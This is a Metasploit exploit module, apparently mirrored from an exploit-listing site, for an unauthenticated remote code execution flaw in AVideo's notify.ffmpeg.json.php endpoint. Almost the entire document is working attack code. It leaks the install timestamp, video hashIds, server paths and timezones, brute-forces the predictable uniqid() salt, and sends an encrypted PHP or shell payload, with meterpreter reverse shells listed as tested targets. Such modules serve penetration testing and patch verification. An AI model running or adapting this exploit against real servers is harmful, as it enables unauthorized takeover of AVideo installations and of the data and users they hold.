Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-AVIDEO_NOTIFY_FFMPEG_UNAUTH_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'
require 'time'
require 'tzinfo'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery',
        'Description' => %q{
          This module exploits an unauthenticated remote code execution (RCE) vulnerability
          in AVideo's notify.ffmpeg.json.php endpoint. The vulnerability stems from a critical
          cryptographic weakness in the salt generation mechanism combined with information
          disclosure vulnerabilities that allow an attacker to discover the encryption salt
          through offline bruteforce.

          Root Cause:
          During installation, AVideo generates an encryption salt using PHP's uniqid() function,
          which is not cryptographically secure. uniqid() generates a 13-character hexadecimal
          string composed of: 8 characters for Unix timestamp in hex, and 5 characters for
          microseconds in hex (0x00000 to 0xFFFFF = 1,048,576 possible values).

          Exploit Chain:
          1. Leak installation timestamp from /objects/categories.json.php (public endpoint)
          2. Leak video hashId from /objects/videosAndroid.json.php or /plugin/API/get.json.php
          3. Leak system root path from posterPortraitPath in video API responses
          4. Leak server timezones from /objects/getTimes.json.php
          5. Offline bruteforce of the remaining 5 microsecond characters using hashId comparison
          6. Use recovered salt to encrypt RCE payload for notify.ffmpeg.json.php eval()

          The notify.ffmpeg.json.php endpoint uses decryptString() to decrypt the callback parameter,
          which has a fallback mechanism: if decryption with saltV2 (cryptographically secure) fails,
          it retries with the old uniqid() salt. This fallback makes the RCE exploitable.

          Affected Versions:
          AVideo 14.3.1+ (introduced January 7, 2025). Requires: Fallback mechanism in
          encrypt_decrypt() (introduced January 15, 2024) and notify.ffmpeg.json.php with
          eval($callback) (introduced January 7, 2025).

          Note on v20.0: The vendor removed the posterPortraitPath leak but did NOT remove
          the legacy salt fallback or eval($callback). RCE remains exploitable using SYSTEM_ROOT.

          This vulnerability does not require authentication and can be exploited remotely by any
          attacker who can access the AVideo instance.
        },
        'Author' => [
          'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-34433'], # Unauthenticated RCE via Predictable Salt
          ['CVE', '2025-34441'], # Information Disclosure: hashId leak
          ['CVE', '2025-34442'], # Information Disclosure: System Path leak
          ['URL', 'https://github.com/WWBN/AVideo/pull/10284'],
          ['URL', 'https://chocapikk.com/posts/2025/avideo-security-vulnerabilities/'],
          ['URL', 'https://www.vulncheck.com/advisories/avideo-unauthenticated-rce-via-predictable-installation-salt']
        ],
        'Platform' => %w[php unix linux win],
        'Arch' => [ARCH_PHP, ARCH_CMD],
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2025-12-19',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to AVideo', '/']),
      OptString.new('SALT', [false, 'Known salt (skips bruteforce)', '']),
      OptString.new('SYSTEM_ROOT', [false, 'System root path (fallback if leak fails)', '/var/www/html/AVideo/'])
    ])
  end

  def check
    gather_info
    return CheckCode::Safe('notify.ffmpeg.json.php not found (requires 14.3.1+)') unless @notify_exists

    salt_provided = !datastore['SALT'].to_s.empty?
    unless salt_provided
      return CheckCode::Safe('categories.json.php inaccessible (timestamp leak required)') unless @timestamp_accessible
      return CheckCode::Safe('hashId endpoints inaccessible (videosAndroid.json.php or get.json.php required)') unless @hashid_accessible
    end

    return CheckCode::Appears("Vulnerable version #{@version} detected") if @version && @version >= Rex::Version.new('14.3.1')
    return CheckCode::Safe("Version #{@version} requires 14.3.1+") if @version

    CheckCode::Appears('Prerequisites met (version unknown)')
  end

  def exploit
    gather_info
    fail_with(Failure::Unknown, 'Failed to discover salt') unless discover_salt

    callback_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
    vprint_status('Executing payload...')
    res = send_rce_payload(callback_payload)

    return if session_created?

    if res&.code == 200
      vprint_status("Payload executed (response: #{res.code})")
      return
    end

    error_msg = parse_error_from_response(res)
    fail_with(Failure::Unknown, error_msg ? "Exploit failed: #{error_msg}" : "Unexpected response code: #{res&.code}")
  end

  def parse_error_from_response(res)
    return nil unless res&.body

    data = JSON.parse(res.body)
    return data['msg'] if data['msg'] && !data['msg'].to_s.empty?
    return 'Unknown error' if data['error'] == true

    nil
  rescue JSON::ParserError
    nil
  end

  def gather_info
    return if @notify_exists && @timestamp_accessible && @hashid_accessible && @timestamps && @video_info

    vprint_status('Gathering target information...')
    detect_version
    @notify_exists = check_notify_endpoint

    @timestamp_accessible = check_endpoint('objects/categories.json.php')
    @timestamps ||= get_timestamps if @timestamp_accessible

    # get_video_info caches endpoint responses, reused by get_system_root to avoid duplicate requests
    @video_info ||= get_video_info
    @hashid_accessible = !@video_info.nil?
  end

  def detect_version
    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'follow_redirect' => true })
    return unless res&.code == 200

    version_match = res.body.match(/Powered by AVideo ยฎ Platform v([\d.]+)/) || res.body.match(/<!--.*?v:([\d.]+).*?-->/m)
    return unless version_match && version_match[1]

    @version = Rex::Version.new(version_match[1])
    vprint_status("Detected AVideo version: #{@version}")
  end

  def check_endpoint(path)
    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, path), 'method' => 'GET' })
    res&.code == 200
  end

  def check_notify_endpoint
    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'), 'method' => 'GET' })
    return false unless res

    res.code == 403 && res.body.to_s.include?('Empty notifyCode')
  end

  # Fetch server timezones to test multiple uniqid calculations with different offsets
  def get_timezones
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'objects', 'getTimes.json.php'),
      'method' => 'GET'
    })
    return [nil, nil] unless res&.code == 200

    data = JSON.parse(res.body)
    [data['_serverSystemTimezone'], data['_serverDBTimezone']]
  rescue StandardError
    [nil, nil]
  end

  # If the default category created at install was deleted, exploit will fail (timestamp not guessable)
  def get_timestamps
    vprint_status('Leaking installation timestamp...')
    system_tz, db_tz = get_timezones
    vprint_status("Server timezones: system=#{system_tz}, db=#{db_tz}")

    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'objects', 'categories.json.php'), 'method' => 'GET' })
    return [] unless res&.code == 200

    # Try JSON parsing first, fallback to regex if JSON is invalid
    timestamps = parse_timestamps_from_json(res.body, system_tz, db_tz)
    return timestamps if timestamps.any?

    parse_timestamps_from_regex(res.body, system_tz, db_tz)
  end

  def parse_timestamps_from_json(body, system_tz, db_tz)
    data = JSON.parse(body)
    rows = data['rows']
    return [] unless rows.is_a?(Array) && !rows.empty?

    first_category = rows.min_by { |c| c['id'].to_i }
    created = first_category['created']
    timestamps = datetime_to_timestamps(created, system_tz, db_tz)
    vprint_good("Installation timestamp: #{created} -> #{timestamps.first}")
    timestamps
  rescue JSON::ParserError
    []
  end

  def parse_timestamps_from_regex(body, system_tz, db_tz)
    matches = body.scan(/"id"\s*:\s*(\d+).*?"created"\s*:\s*"([^"]+)"/m)
    return [] if matches.empty?

    created = matches.min_by { |m| m[0].to_i }[1]
    timestamps = datetime_to_timestamps(created, system_tz, db_tz)
    vprint_good("Installation timestamp (regex): #{created} -> #{timestamps.first}")
    timestamps
  end

  def datetime_to_timestamps(dt_str, system_tz, db_tz)
    dt = Time.strptime(dt_str, '%Y-%m-%d %H:%M:%S')
    dt_local = Time.new(dt.year, dt.month, dt.day, dt.hour, dt.min, dt.sec)
    timezones = [system_tz, db_tz, 'UTC'].compact.uniq

    timezones.map do |tz|
      tz_obj = TZInfo::Timezone.get(tz)
      format('%x', tz_obj.local_to_utc(dt_local).to_i)
    end.uniq
  rescue StandardError => e
    vprint_error("Error converting datetime: #{e}")
    []
  end

  def get_system_root
    return @system_root if @system_root && !@system_root.empty?

    # Try to get from cached endpoint responses first
    @system_root = extract_system_root_from_cache
    if @system_root
      vprint_good("System root leaked: #{@system_root}")
      return @system_root
    end

    # On v20+, path leak is fixed; fallback to SYSTEM_ROOT (default works for Docker instances)
    @system_root = datastore['SYSTEM_ROOT']
    vprint_status("Using fallback system root: #{@system_root}")
    @system_root
  end

  def extract_system_root_from_cache
    pattern = /"poster(?:Portrait|Landscape)Path"\s*:\s*"([^"]+)"/

    # Collect all cached response bodies to scan
    bodies = (@endpoint_cache || {}).values

    bodies.each do |body|
      body.scan(pattern).each do |match|
        path = match[0].gsub('\\/', '/')
        root = find_root_in_path(path)
        return root if root
      end
    end
    nil
  end

  def find_root_in_path(path)
    %w[/view/ /videos/ /plugin/].each do |subdir|
      return path.split(subdir)[0] + '/' if path.include?(subdir)
    end
    nil
  end

  # Fetch video endpoints once and cache responses for reuse (hashId + system_root extraction)
  # Note: videosAndroid.json.php can take a long time to load, this is expected
  # hashId won't be accessible if no public videos exist on the instance
  def get_video_info
    vprint_status('Leaking video hashId...')
    @endpoint_cache ||= {}

    endpoints = [
      normalize_uri(target_uri.path, 'objects', 'videosAndroid.json.php'),
      normalize_uri(target_uri.path, 'plugin', 'API', 'get.json.php') + '?APIName=video',
      normalize_uri(target_uri.path, 'view', 'info.php')
    ]

    endpoints.each do |endpoint|
      info = extract_video_info_from_endpoint(endpoint)
      return info if info
    rescue StandardError => e
      vprint_error("Error checking #{endpoint}: #{e}")
    end
    nil
  end

  def extract_video_info_from_endpoint(endpoint)
    # Use cached response if available
    body = @endpoint_cache[endpoint]
    unless body
      res = send_request_cgi({ 'uri' => endpoint, 'method' => 'GET' })
      return nil unless res&.code == 200

      body = res.body
      @endpoint_cache[endpoint] = body
    end

    data = JSON.parse(body)
    videos = data['videos'] || data.dig('response', 'rows') || (data['response'].is_a?(Array) ? data['response'] : [])
    return nil if videos.empty?

    video = videos.find { |v| v['id'] && v['hashId'] }
    return nil unless video

    hash_id = video['hashId']
    cipher = hash_id.length < 16 ? 'RC4' : 'AES-128-CBC'
    vprint_good("Video ID=#{video['id']}, hashId=#{hash_id} (#{cipher})")
    { id: video['id'].to_i, hash_id: hash_id, cipher: cipher }
  end

  def compute_hashid(video_id, salt, cipher_type = 'AES-128-CBC')
    key = Digest::MD5.hexdigest(salt)[0, 16]
    plaintext = video_id.to_s(32)
    cipher = OpenSSL::Cipher.new(cipher_type)
    cipher.encrypt
    cipher.key = key
    cipher.iv = key if cipher_type == 'AES-128-CBC'

    Rex::Text.encode_base64url(cipher.update(plaintext) + cipher.final)
  end

  def encrypt_payload(payload)
    key = Digest::SHA256.hexdigest(@salt)[0, 32]
    iv = Digest::SHA256.hexdigest(@system_root)[0, 16]

    cipher = OpenSSL::Cipher.new('AES-256-CBC')
    cipher.encrypt
    cipher.key = key
    cipher.iv = iv

    Rex::Text.encode_base64(Rex::Text.encode_base64(cipher.update(payload) + cipher.final))
  end

  def test_salt_candidate(candidate, video)
    compute_hashid(video[:id], candidate, video[:cipher]) == video[:hash_id]
  end

  def print_bruteforce_progress(ts_idx, timestamps_count, ts_hex, micro, total)
    return unless (micro % 100_000).zero? && micro > 0

    current = (ts_idx * 0x100000) + micro
    pct = (100.0 * current / total).round(1)
    formatted_micro = micro.to_s.reverse.gsub(/(\d{3})(?=\d)/, '\\1,').reverse
    print("%bld%blu[*]%clr [#{ts_idx + 1}/#{timestamps_count}] #{ts_hex}: #{formatted_micro} (#{pct}%)\r")
  end

  def bruteforce_salt(timestamps, video)
    vprint_status("Bruteforcing salt (#{video[:cipher]})...")
    start_time = Time.now
    total = timestamps.length * 0x100000

    timestamps.each_with_index do |ts_hex, ts_idx|
      (0...0x100000).each do |micro|
        candidate = format('%s%05x', ts_hex, micro)
        if test_salt_candidate(candidate, video)
          print("\r")
          elapsed = (Time.now - start_time).round(2)
          vprint_good("Salt found: #{candidate} (in #{elapsed}s)")
          return candidate
        end
        print_bruteforce_progress(ts_idx, timestamps.length, ts_hex, micro, total)
      end
    end

    print("\r")
    nil
  end

  def discover_salt
    @salt ||= datastore['SALT'] unless datastore['SALT'].to_s.empty?
    if @salt
      vprint_good("Using provided salt: #{@salt}")
      return get_system_root
    end

    get_system_root
    @timestamps ||= get_timestamps
    @video_info ||= get_video_info
    return false if @timestamps.empty? || !@video_info

    @salt = bruteforce_salt(@timestamps, @video_info)
    !@salt.nil?
  end

  def send_rce_payload(callback_payload)
    notify_code = encrypt_payload('valid')
    callback = encrypt_payload(callback_payload)

    filename = Rex::Text.rand_text_alphanumeric(8..16)
    ext = %w[mp4 avi mkv mov webm].sample
    full_filename = "#{filename}.#{ext}"

    notify_data = {
      'avideoPath' => full_filename,
      'avideoRelativePath' => full_filename,
      'avideoFilename' => filename
    }
    notify = JSON.generate(notify_data.to_a.shuffle.to_h)

    params = {
      'notifyCode' => notify_code,
      'notify' => notify,
      'callback' => callback
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'),
      'method' => 'GET',
      'vars_get' => params.to_a.shuffle.to_h
    })
    res
  end
end